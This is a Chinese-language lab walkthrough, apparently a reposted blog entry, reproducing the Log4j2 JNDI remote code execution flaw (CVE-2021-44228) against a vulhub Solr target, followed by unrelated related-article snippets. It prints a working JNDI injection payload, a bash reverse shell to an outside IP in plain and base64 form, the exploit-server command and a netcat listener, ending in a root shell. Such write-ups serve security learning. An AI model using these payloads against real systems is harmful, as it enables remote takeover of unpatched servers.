log4j2 远程代码执行漏洞复现(CVE-2021-44228)

news2025/1/4 18:27:43

目录

一、相关概念

二、漏洞复现

步骤一:执行一下命令启动靶场环境并在浏览器访问!!!

1.启动命令

2.访问网址

步骤二:先在自己搭建的DNSLOG平台上获取一个域名来监视我们注入的效果...

步骤三:可以发现 /solr/admin/cores?action= 这里有个参数可以传,可以按照上面的原理先构造一个请求传过去存在JNDI注入那么Idap服务端会执行我们传上去的payload然后在DNSLOG平台上那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号!

步骤四:开始反弹ShelI准备 INDI-Injection-Exploit 下载地址并构造PayLoad如下...启动!

#JDNI项目地址

# 反弹shell

#反弹Shell-base64加密

#命令模板

#最终Payload

步骤五:以上可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入..这里在注入之前另启动一个终端开启监听.

#服务器监听(别忘记关闭服务器防火墙)

步骤六:拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址.…

步骤七:去另外一个监控终端看看shell有没有弹回来且用 whoami 命令查看权限,发现已经成功获取到root权限了。大功告成!


一、相关概念

  Apache Log4j:Apache的开源项目,一个功能强大的日志组件,提供方便的日志记录Apache Log4j2:对Log4j的升级,它比其前身Log4j1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Loqback架构中的一些问题。优秀的Java日志框架;Log4j2 漏洞受影响版本:2.0到2.14.1版本中存在一处JNDI注入漏洞

二、漏洞复现

步骤一:执行一下命令启动靶场环境并在浏览器访问!!!
1.启动命令

systemctl start docker

cd vulhub/log4j/CVE-2021-44228

docker-compose up -d

2.访问网址

步骤二:先在自己搭建的DNSLOG平台上获取一个域名来监视我们注入的效果...

步骤三:可以发现 /solr/admin/cores?action= 这里有个参数可以传,可以按照上面的原理先构造一个请求传过去存在JNDI注入那么Idap服务端会执行我们传上去的payload然后在DNSLOG平台上那里留下记录,我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的版本号!
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.8ebebc.dnslog.cn}

步骤四:开始反弹ShelI准备 INDI-Injection-Exploit 下载地址并构造PayLoad如下...启动!
#JDNI项目地址

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

# 反弹shell
bash -i >& /dev/tcp/60.205.170.32/7777 0>&1

#反弹Shell-base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMTcwLjMyLzc3NzcgMD4mMQ==
#命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,[经过base64编码后的命令]}{base64,-d}|bash"-A 「你的ypsip」
#最终Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMTcwLjMyLzc3NzcgMD4mMQ==}|{base64,-d}|bash" -A 60.205.170.32

步骤五:以上可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url,然后我们就可以回到刚才的网站去进行JNDI注入..这里在注入之前另启动一个终端开启监听.
#服务器监听(别忘记关闭服务器防火墙)

nc -lvvp 7777

步骤六:拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址.…
/solr/admin/cores?action=${jndi:ldap://60.205.170.32:1389/zmwqp0}

步骤七:去另外一个监控终端看看shell有没有弹回来且用 whoami 命令查看权限,发现已经成功获取到root权限了。大功告成!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1969545.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小米手机通知栏横条无法清除 刻晴主题 历史通知记录功能使用方案

问题环境💕 Root K50 Ultra HyperCeiler (系统修改) Lspose(框架)魔改刻晴主题(自用)隐藏(最近任务)后台 在搞机过程中出现过如下情况 通知条无法被清除,导…

本地索引和全局索引视图测试

1、创建分区表 CREATE TABLE "OSGIC"."TT" ( "ID" VARCHAR2(32) NOT NULL ENABLE, "BUSS_ID" VARCHAR2(64), "REEST_TIME" DATE ) PARTITION BY RANGE ("REEST_TIME") INTERVAL(NUMTOYMINTERVAL(1, MONTH)) (…

Redis部署策略

文章目录 Redis部署策略单机部署主从复制哨兵模式Redis集群 Redis部署策略 部署方式描述单机部署适用于对数据可靠性要求不高、规模较小的应用。部署简单,但没有冗余和高可用性。主从复制数据从主节点同步到一个或多个从节点,提升读性能和数据备份能力。…

堆的实现-向上调整算法-向下调整算法-堆排序-TopK问题 C语言

一、堆的概念及结构 二、 向上调整算法 注意:循环条件不可写parent > 0 //向上调整算法 //child为下标 void adjustup(int* a, int child) {int parent (child - 1) / 2;while (child > 0){if (a[child] < a[parent]){swap(&a[child], &a[parent]);child pa…

免费开源的私人笔记项目,极空间搭建全平台笔记和待办事项『Joplin』

免费开源的私人笔记项目&#xff0c;极空间搭建全平台笔记和待办事项『Joplin』 哈喽小伙伴们好&#xff0c;我是Stark-C~ 我想很多小伙伴都有记录笔记或者备忘的习惯&#xff0c;其实目前市面可用的这类应用还是很多的&#xff0c;比如印象笔记&#xff0c;有道云笔记。作为…

文件解析漏洞集合

IIS解析漏洞 IIS6 目录解析 在网站下建立文件夹的名字为.asp/.asa 的文件夹&#xff0c;其目录内的任何扩展名的文件都被IIS当作asp 文件来解析并执行。 这里显示的是 1.asp下的1.jpg&#xff0c;按照道理来说里面的文件是一个图片&#xff0c;但是访问的话&#xff0c;会出…

SpringBoot面试题整理(1)

面试整理 前置知识 ApplicationContextInitializerApplicationListenerBeanFactoryBeanDefinitionBeanFactoryPostProcessorAwareInitializingBean/DisposableBeanBeanPostProcessor 面试题 SpringBoot启动流程IOC容器初始化流程Bean声明周期Bean循环依赖SpringMVC执行流程…

JavaEE 初阶(13)——多线程11之“定时器”

目录 一. 什么是“定时器” 二. 标准库的定时器 三. 定时器的实现 MyTimer 3.1 分析思路 1. 创建执行任务的类。 2. 管理任务 3. 执行任务 3.2 线程安全问题 四. 拓展 一. 什么是“定时器” 定时器是软件开发中的一个重要组件&#xff0c;类似于一个“闹钟”&#xff0…

【Spring】详细理解Spring中控制反转(IOC)和依赖注入(DI)的设计思想。

目录 1.相关概念 2. 设计IOC容器的两个主要接口 2.1 BeanFactory接口 2.2 ApplicationContext接口 2.3 两个接口的区别【面试题】 3. Bean对象的管理&#xff08;控制反转&#xff09; 3.1 基于XML文件管理bean对象 3.2 基于注解方式去管理【重点】 4. 依赖注入&#…

81.WEB渗透测试-信息收集-框架组件识别利用(5)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;80.WEB渗透测试-信息收集-框架组件识别利用&#xff08;4&#xff09; solr&#xff1a;…

第三方库jsoncpp

文章目录 0.jsoncpp库是做什么的&#xff1f;1.安装库2.有哪几个类&#xff0c;如何使用Json::Value类Json::Writer类-StreamWriterJson::Reader类-CharReader三者关系 3.使用样例将数据先存入Value类&#xff0c;再通过StreamWriter类转为Json格式的字符串获取到Json格式字符串…

6 postgresql事务与并发控制

事务与并发控制 事务可以理解为做一件事&#xff0c;数据库就是一件事要么做完&#xff0c;要么不做&#xff0c;不然这数据库给给人不可靠的感觉 正如解释事务具有四个重要特性&#xff1a;ACID&#xff08;原子性&#xff0c;一致性&#xff0c;隔离性&#xff0c;持久性&a…

python实现提取视频帧的图片

文章目录 1、需求痛点2、完整代码⭐3、代码分析3.1、需要改动的地方3.2、OpenCV库的使用3.3、多线程技术 4、执行效率5、效果展示⭐6、注意事项&#x1f53a;7、总结 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注…

3 IIC总线

3 IIC总线 1、基本概念1.1 IIC总线定义1.2 IIC总线协议概念 2 以AT24C02为例说明时序2.1 基本特性2.2 利用GPIO模拟IIC2.3 对AT24C02的操作2.4 重定向printf 1、基本概念 1.1 IIC总线定义 定义&#xff1a;两线式串行总线 两线式&#xff1a;说明处理器和外设之间只需两根信号…

【时间复杂度和空间复杂度】(内含超多实例练习)

【时间复杂度和空间复杂度】&#xff08;内含超多实例练习&#xff09; 1. 算法效率2. 时间复杂度2.1 时间复杂度的概念2.2 实例练习2.2.1 数组中搜索数据2.2.2 冒泡排序2.2.3 二分查找2.2.4 阶乘递归2.2.5 斐波那契递归 3. 空间复杂度3.1 空间复杂度的概念3.2 实例练习3.2.1 冒…

Set Hashset底层原理 LinkedSet底层原理 Treeset 31

不重复只执行一次&#xff0c;排序是小到大&#xff0c;色图是接口类 Hashset底层原理 LinkedSet底层原理 Treeset 总结

AI+云边端协同,EasyCVR视频汇聚技术赋能安防监控新生态

随着信息技术的飞速发展和数字化时代的到来&#xff0c;安防监控领域的技术也在不断创新和突破。EasyCVR平台的视频汇聚技术作为其中的佼佼者&#xff0c;以其强大的视频处理、汇聚与融合能力&#xff0c;在安防监控领域展现出了巨大的应用潜力和价值。本文将详细介绍EasyCVR视…

权限束缚术:windows工具自动化权限提升

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理利用工具全自动化提权的相关操作方法 因为我没有相关的环境复现&#xff0c;所以没有成功 不过复现的操作就是下面整理的操作 溢出漏洞提权原理 利用溢出漏洞提权&#xff0c;实际上就是一次判断过往的…

极简聊天室-websocket版

再写一个极简聊天室的websocket版&#xff0c;在本例中&#xff0c;websocket仅用于服务器向客户端传输信息&#xff0c;客户端向服务器发送信息是传统的http post方式&#xff0c;用axios来实现的&#xff0c;当然websocket本身是支持双向通信&#xff0c;主要是为了方便跟前面…

Selenium 无法定位元素的几种解决方案

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 1、frame/iframe表单嵌套 WebDriver只能在一个页面上对元素识别与定位&#xff0c;对于frame/iframe表单内嵌的页面元素无法直接定位。 解决方法&#xff1a; d…